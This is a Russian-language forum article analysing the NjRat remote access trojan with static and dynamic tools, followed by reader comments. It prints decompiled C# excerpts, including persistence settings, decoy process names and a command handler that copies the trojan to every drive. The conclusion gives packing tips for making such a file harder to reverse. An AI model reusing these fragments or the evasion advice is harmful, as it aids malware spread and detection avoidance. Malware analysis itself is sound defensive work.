• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Больше не ниндзя. Почему не стоит использовать NjRat

NJ.jpg

Введение
Наверное тебе не раз приходилось сталкиваться с различными типами вирусов и их особенностями. Каждый из них пытается нарушить работу твоего компьютера или же просто становится очень тихим и собирает информацию о тебе. В любом случаи ничего хорошего от них ждать не стоит. Чаще всего система подвержена заражению RAT вирусов. Их тяжело найти и сложно контролировать. Поэтому в сети сейчас гуляет огромное количество билдеров на любой вкус и цвет. Но сегодня речь пойдет о вирусе с громким названием NjRat.

План статьи
Если речь идет о реверсе, то у нас с тобой все по стандарту. Я постараюсь дословно, а главное понятно разобрать работу ратника Njrat. Погуляем по его коду и посмотрим почему же он опасен в работе. Затронем два типа анализа, это статический и динамический. Заглянем на Github автора и посмотрим, что он говорит о своем детище. В завершении сделаем итог с плюсами (которых думаю не так много) и минусами работы нашего подозреваемого.

Предыстория
Если обернуться и посмотреть назад, вирус появился в моей коллекции 31 января 2018 года. Достаточно давно я не обращал внимание на эту папку с файлами, но с учетом огромного роста заражения этим вирусом решился заглянуть и посмотреть, что изменилось. Конечно, с момента последнего запуска кроме ошибок ничего не появилось, но наша с тобой цель проанализировать результаты билдера, а не его структуру. Поэтому пришлось создать готовый ратник с стандартным названием Server.exe. Его мы с тобой и будем изучать.

Сам зловред обновлялся последний раз два года назад (в 2020-ом). На странице автора присутствуют 4 версии: Danger, Golden, Green и Lime Edition. Теперь они находятся в открытом доступе и оценить все дело можно в репозитории. Последняя актуальная версия файлов для всех версий это 0.7D. Удивительно то, что каждая модификация малвари имеет собственного автора. Это ты можешь заметить в самом верху панели управления системами. На этом мои сведения о подозреваемом закончились и можно спокойно переходить к реверсу.

Ищем ниндзя
По традиции и с точки зрения анализа первым делом закидываем файл в Detect It Easy и смотрим из чего состоит программа.


DiE.jpg


Как всегда нас встречает любимая библиотека NET с устаревшей версией. Подозрительный результат если учитывать тот факт, что версия 2.0 появилась на свет вместе с Visual Studio 2005. Взглянем на энтропию, она точно должна что-то сказать.

Entropy.jpg


Посмотри внимательно на статус. 69% и файл несжатый. Паранормальные явления какие-то, можно предположить, что зловред хорошо закриптовали и попытались спрятать от посторонних глаз. Пробуем закинуть все это дело в pestudio и оценим его труды.

strings.jpg


Как ты понимаешь здесь результат более понятный. Некоторые функции и строки находятся в черном списке, но это не мешает нам изучать вирус и вытаскивать из него все больше и больше информации. Итак, из скриншота выше ты можешь вынести, то что файл взаимодействует с библиотеками user32, avicap32, winmm и Kernal32. По мимо этого используется кодировка base64, убедимся в этом и закинем строку в декодер. На выходе ты получишь набор цифр и на этом мы заходим в тупик снова. Куда и как применяется все это дело неизвестно. В поисках выхода попробуем перехватить исходящий трафик. Для этого воспользуемся Wireshark.

Здесь все неоднозначно. Малварь передает информацию на неизвестные сайты. Один из самых видимых это переадресация на Windows Update FAQ.

wireshark.jpg


Происходит активный поиск на сайтах, а также создаются GET запросы с обращением к определенным файлам. Больше ничего интересно мне найти не удалось. Кроме отправки сразу четырех ARP пакетов подряд. Еще трафик шифруется и на определенном моменте расшифровывается. Перейдем к дешифровки и попробуем вытащить полезную информацию.

Первым делом воспользуемся ExtremeDumper и извлечем PE-файлы из зловреда. Кроме Sub.exe в файле ничего не обнаружено. Малварь сильно нагружает систему, в диспетчере задач создается нагрузка в 18% на процессор. Для такого типа вирусов это крайне негативно, поскольку любой пользователь спокойно может убить процесс, чтобы снизить нагрузку. Теперь перейдем в de4dot и узнаем исходный код. Отлично! Программа с легкостью поддается реверсу и теперь его можно изучить в dotPeek. Если внимательно присмотреться, то можно понять, что оба декриптора выдали идентичный результат. Я воспользуюсь файлом от de4dot. Всего на доступно две функции и пять веток. Откроем их все и посмотрим, что у нас имеется.

Первое на что падает мой взгляд это на файл Fransesco.cs. Он хранит в себе основу зловреда и за счет этого можно ознакомиться с его работой. Давай оценим по шкале от одного до десяти структуру файла. Как по мне тянет на слабую троечку, поскольку все содержимое лежит буквально с первых строк. Здесь расположена и временная папка для хранения и стандартное имя файла, есть даже путь для автозагрузки. Ну а в программе все это дело выглядит следующим образом:

C#:
private static object Pro;
public const int SWP_HIDEWINDOW = 128;
public const int SWP_SHOWWINDOW = 64;
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 1;
public const int SWP_HIDEWINDOW_ = 128;
public const int SWP_SHOWWINDOW_ = 64;
public static string SPL = "[endof]";
private const int SETDESKWALLPAPER = 20;
private const int UPDATEINIFILE = 1;
private static byte[] b = new byte[5121];
public static bool BD = Conversions.ToBoolean("False");
public static TcpClient C = (TcpClient) null;
public static bool Cn = false;
public static string DR = "TEMP";
public static string EXE = "server.exe";
public static Computer F = new Computer();
public static FileStream FS;
public static string H = "FRANSESCOTI3LjAuFRANSESCOC4x";
public static string w = "";
public static string m = "Windows to Erorr ";
public static string s = "Windows Erorr";
public static string n = "Microsoft Corporation";
public static string q = "Windows Update";
public static string r = "10";
public static string g = "Explower";
public static string o = "Notepad.exe";
public static string k = "[k]";
public static string z = "";
public static string v = "Java Update";
public static string j = "Adobe Update";
public static string d = "system";
public static string l = "SoftwareMicrosoftWindowsCurrentVersionRun";
public static string x = "";
public static string i = "[i]";
public static string u = "[Software\\Microsoft\\Windows\\CurrentVersion\\Run]";

Дополнительно есть блокнот и имена под которыми он может скрываться. Далее идет образование переменных типа boolean. Вероятнее всего они отвечают за отдельные функции такие как кейлоггер, стиллер или даже элементарный стрим рабочего стола. Клавиатурный шпион прячется как раз в файле A.cs. Очень странное название, но по крайней мере в нем есть что искать. Вернемся к нашему делу. Из PEStudio мы выяснили, что малварь использует кодировку base64 и теперь можно спокойно ответить на вопрос зачем. Взгляни на строчки ниже булевых значений. Скажи, что ты видишь? В памяти всплывают картинки о том, что где-то такое уже было. И правильно! Ведь мы буквально пару абзацев назад встречали похожую картину в строках. Ну а если ты до сих пор не понял о чем я говорю, то посмотри на эту часть кода:

C#:
public static string P = "NTU1Mg==";
public static object PLG = (object) null;
public static string RG = "90cdc4299e3838b5249c33e1c7a2dd25";
public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
public static string VN = "SGFjS2Vk";

Переменная VN служит отображением в панели управления машинами. При успешном соединении задается статус HacKed, который и кодируется в base64 как SGFjS2Vk. Не веришь? Тогда можешь убедиться в этом . На этом наше исследование не заканчивается. Как и все типичные представители семейства RAT ниндзя любит записаться в реестре и тому подтверждения можно найти в этих строках:

C#:
public static object GTV(string n, object ret)
    {
      object objectValue;
      try
      {
        objectValue = RuntimeHelpers.GetObjectValue(Fransesco.F.Registry.CurrentUser.OpenSubKey("Software\\" + Fransesco.RG).GetValue(n, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(ret)))));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.SetProjectError(ex);
        objectValue = RuntimeHelpers.GetObjectValue(ret);
        ProjectData.ClearProjectError();
        ProjectData.ClearProjectError();
      }
      return objectValue;
    }

Если не удалось создать соответствующую запись в реестре, то на сервер отправляется ошибка с последующей чисткой следов. В блоке ниже проходит сканирование на наличие каких-либо антивирусов в системе. Очень полезная функция, если пользователь внезапно захочет активировать систему по борьбе с вредителями. Так как кода очень много я постараюсь останавливаться только на интересных моментах. К примеру создание записи с датой и временем в малваре происходит примерно так:

C#:
public static object Data()
    {
      object obj;
      try
      {
        obj = (object) Fransesco.LO.LastWriteTime.ToString("dd-MM-yyyy");
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        obj = (object) "00-00-0000";
        ProjectData.ClearProjectError();
      }
      return obj;
    }

Также мне удалось найти строчки, которые отвечают за создания диалогового окна с ведением диалога между пользователем и хакером. На деле все выглядит крайне странно, с использованием условных циклов и массивов. Думаю тебе лучше взглянуть, чтобы четко видеть всю картину:

C#:
public static void Ind(byte[] b)
    {
      string[] strArray1 = Strings.Split(Fransesco.BS(ref b), Fransesco.Y);
      try
      {
        string Left1 = strArray1[0];
        string Left2 = Left1;
        byte[] buffer;
        if (Operators.CompareString(Left2, "time", false) == 0)
          DateAndTime.TimeOfDay = Conversions.ToDate(strArray1[1]);
        else if (Operators.CompareString(Left2, "piano", false) == 0)
          Fransesco.Beep(Conversions.ToInteger(strArray1[1]), 300);
        else if (Operators.CompareString(Left2, "BepX", false) == 0)
          Fransesco.Beep(checked ((int) Math.Round(Math.Round(Math.Round(Conversion.Val(strArray1[1]))))), checked ((int) Math.Round(Math.Round(Math.Round(Conversion.Val(strArray1[2]))))));
        else if (Operators.CompareString(Left2, "piano", false) == 0)
          Fransesco.Beep(checked ((int) Math.Round(Math.Round(Math.Round(Conversion.Val(strArray1[1]))))), 300);
        else if (Operators.CompareString(Left2, "BepX", false) == 0)
          Fransesco.Beep(Conversions.ToInteger(strArray1[1]), Conversions.ToInteger(strArray1[2]));
        else if (Operators.CompareString(Left2, "piano", false) == 0)
          Fransesco.Beep(Conversions.ToInteger(strArray1[1]), 300);
        else if (Operators.CompareString(Left2, "TextToSpeech", false) == 0)
        {
          object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("SAPI.Spvoice"));
          object[] objArray1 = new object[1];
          object[] objArray2 = objArray1;
          string[] strArray2 = strArray1;
          string[] strArray3 = strArray2;
          int index = 1;
          string str = strArray3[1];
          objArray2[0] = (object) str;
          object[] objArray3 = objArray1;
          object[] Arguments = objArray3;
          bool[] flagArray = new bool[1]{ true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall(objectValue, (System.Type) null, "speak", Arguments, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            strArray2[index] = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray3[0]), typeof (string));
        }
        else if (Operators.CompareString(Left2, "virs", false) == 0)
          Fransesco.Send("virs");
        else if (Operators.CompareString(Left2, "virs", false) == 0)
        {
          while (true)
          {
            int num1 = (int) Interaction.MsgBox((object) "Doni!", MsgBoxStyle.Critical, (object) "!~ Hacker ~!");
          }
        }
        else if (Operators.CompareString(Left2, "hard", false) == 0)
        {
          string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
          string[] logicalDrives = Directory.GetLogicalDrives();
          int index = 0;
          while (index < logicalDrives.Length)
          {
            string str = logicalDrives[index];
            try
            {
              System.IO.File.Copy(Application.ExecutablePath, str + Fransesco.d + ".exe");
              System.IO.File.SetAttributes(str + Fransesco.d + ".exe", FileAttributes.Normal);
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
            checked { ++index; }
          }
        }

Перейдем в окно с файлом MyProject.cs и посмотрим его содержимое. Здесь создается Web сервер для создания соединения с основным хостом. Поэтому в Wireshark ты увидел так много зеленых строчек. Не уходя от этого места можно обнаружить строки импорта нужных модулей, выглядит это следующим образом:

C#:
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]

В основном оставшуюся часть кода ты можешь разобрать сам, ну а я продвинусь дальше и на основе всей информации объясню почему этот зловред лучше никогда не использовать.

Подводим итоги
Итак, для начала одна из самых главных проблем нашего подозреваемого становится колоссальная нагрузка на систему. Для ратников это очень не естественно, поскольку их основная задача как можно меньше светиться перед глазами пользователя. Также если вирус обнаружат в системе, то добраться до его исходников любому желающему не составит проблем. Из этого вытекает довольно очевидная вещь. Если есть шанс добраться до кода, значит не будет проблем установить создателя. Ну а шифроваться такой ратник явно не очень хорошо умеет. Что-то выше кодировки Base64 мне найти не удалось. Хотя если брать более старые версии там для защиты PE-файла используется модифицированная версия NET Reactor. Правда из-за его старой версии со снятием защиты справиться даже de4dot. Для примера попробуй покрыть любой файл слоями реактора, а при компиляции используй 3 удобные тебе функции. В результате ты получишь файл, который при помощи двух утилит будет очень сложно разреверсить. Чувствуешь разницу? Конечно, никто не отрицает такого подхода как трассировка и поимка OEP вместе с JIT-компилятором, но все же это в разы усложняет решение задачи. Поэтому прежде чем тестировать ПО такого типа лучше несколько раз проверить его надежность.
 
Последнее редактирование модератором:

f22

Codeby Academy
Gold Team
05.05.2019
1 834
225
BIT
963
Спасибо за статью - очень познавательно!

Корректно ли называть такой тип зловреда вирусом?

очепятка Kernel32

Думаю, было бы здорово провести сравнение этого ратника с другими =)
 

Mark Klintov

Grey Team
23.07.2022
151
282
BIT
13
Спасибо за статью - очень познавательно!

Корректно ли называть такой тип зловреда вирусом?


очепятка Kernel32

Думаю, было бы здорово провести сравнение этого ратника с другими =)
Отличная тема для следующей статьи кстати. Осталось набрать арсенал для сравнения
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!